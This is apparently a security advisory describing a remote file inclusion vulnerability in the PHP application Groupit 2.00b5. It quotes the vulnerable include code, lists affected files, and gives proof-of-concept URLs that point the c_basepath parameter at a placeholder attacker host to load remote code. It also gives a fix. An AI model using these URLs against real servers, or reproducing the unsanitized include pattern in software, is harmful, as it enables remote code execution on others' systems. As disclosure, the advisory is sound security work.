Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~

Application     : Groupit
version         : 2.00b5
URL             : http://fresh.t-systems-sfr.com/fresh/unix/src/privat2/groupit-2.00b5.tar.gz

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~

- Invalid include function at html/content.php
-----------------------html/content.php------------

<?
...
include "$c_basepath/base/groupit.start.inc";

if (!empty($c_is_search))
{
  include "$c_basepath/modules/search/main.inc";
} else
{
  if ($c_is_section)
  {
     include  "$c_basepath/modules/content/section.inc";
  } else
  .........

include "$c_basepath/base/groupit.stop.inc";
?>
----------------------------------------------------------

Input passed to the "$c_basepath" parameter in load.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

also affected files :

html/userprofile.php
html/password.php
html/dispatch.php
html/deliver.php

and More ....



Proof Of Concept:
~~~~~~~~~~~

http://localhost/groupit/html/content.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/userprofile.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/password.php?c_basepath=http://atacker.com/inject.txt?

Solution:
~~~

- Sanitize variable $c_basepath affected files.
- Turn off register_globals
